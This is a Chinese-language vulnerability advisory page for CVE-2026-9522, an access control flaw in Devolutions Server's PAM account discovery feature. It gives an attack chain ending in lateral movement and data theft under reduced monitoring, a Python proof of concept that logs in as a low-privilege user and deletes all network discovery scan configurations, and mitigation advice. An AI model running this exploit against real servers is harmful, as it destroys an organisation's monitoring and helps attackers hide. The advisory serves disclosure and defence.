IPBUF安全漏洞报告
English
CVE-2026-9522 CVSS 5.4 中危

CVE-2026-9522: Devolutions Server 访问控制不当漏洞

披露日期: 2026-06-02

漏洞信息

漏洞编号
CVE-2026-9522
漏洞类型
访问控制不当
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Devolutions Server

相关标签

访问控制不当权限绕过Devolutions ServerPAMCVE-2026-9522中危漏洞网络发现配置删除

漏洞概述

CVE-2026-9522是Devolutions Server中一个中等严重程度的访问控制漏洞。该漏洞存在于PAM(特权访问管理)账户发现功能中,由于对用户权限的验证不充分,允许已认证的非管理员用户执行超出其权限范围的操作。具体而言,具有基本认证的低权限用户可以删除网络发现扫描配置,这可能导致系统监控能力下降,攻击者可以通过删除关键扫描配置来隐藏其在网络中的活动痕迹。该漏洞影响Devolutions Server 2026.1.19及之前的所有版本,CVSS评分为5.4(中等),攻击向量为网络形式,无需用户交互,但需要攻击者拥有有效的用户凭证。

技术细节

该漏洞的根本原因在于Devolutions Server的PAM账户发现功能中缺少适当的权限检查机制。在正常的访问控制模型中,删除网络发现扫描配置这类敏感操作应当仅限于具有管理员角色的用户执行。然而,由于API端点或功能模块在处理删除请求时,仅验证了用户是否已认证(PR:L),而未验证用户是否具备相应的管理权限(AC:L),导致任何已登录用户都能成功调用删除接口。攻击者只需要一个有效的低权限账户,即可通过发送特定的HTTP请求(如DELETE请求)到相关API端点,删除系统中的网络发现扫描配置。这种权限升级漏洞属于CWE-284(不适当的访问控制)类别,攻击者无需特殊工具即可利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取Devolutions Server的低权限用户账户(可通过社会工程、凭证填充或内部人员获取)
STEP 2
步骤2
攻击者使用获取的凭证登录系统,建立有效的认证会话
STEP 3
步骤3
攻击者访问PAM账户发现功能模块,通过API获取当前的网络发现扫描配置列表
STEP 4
步骤4
攻击者向删除配置API端点发送DELETE请求,由于系统未正确验证权限,请求被成功处理
STEP 5
步骤5
网络发现扫描配置被删除,导致系统失去对特定网络区域的监控能力
STEP 6
步骤6
攻击者利用监控盲区,在网络中执行恶意活动(如横向移动、数据窃取),难以被检测

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-9522 PoC - Devolutions Server Unauthorized Configuration Deletion # Target: Devolutions Server < 2026.1.19 # Vulnerability: Improper Access Control in PAM account discovery feature TARGET_URL = "https://target-server/api" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit(): """ This PoC demonstrates how an authenticated low-privilege user can delete network discovery scan configurations without administrative privileges. """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Get list of scan configurations configs_url = f"{TARGET_URL}/discovery/configurations" response = session.get(configs_url) if response.status_code == 200: configs = response.json() print(f"[+] Found {len(configs)} scan configurations") # Step 3: Delete configurations without admin privileges for config in configs: config_id = config.get("id") delete_url = f"{TARGET_URL}/discovery/configurations/{config_id}" # This should require admin privileges but doesn't delete_response = session.delete(delete_url) if delete_response.status_code in [200, 204]: print(f"[+] Successfully deleted config {config_id}") else: print(f"[-] Failed to delete config {config_id}") return True if __name__ == "__main__": exploit()

影响范围

Devolutions Server < 2026.1.19

防御指南

临时缓解措施
在无法立即升级的情况下,可通过配置Web应用防火墙(WAF)规则限制对敏感API端点的访问,仅允许来自管理网络的请求;同时加强用户权限管理,确保普通用户无法访问PAM账户发现功能的管理接口;并启用详细的审计日志以便及时发现异常操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表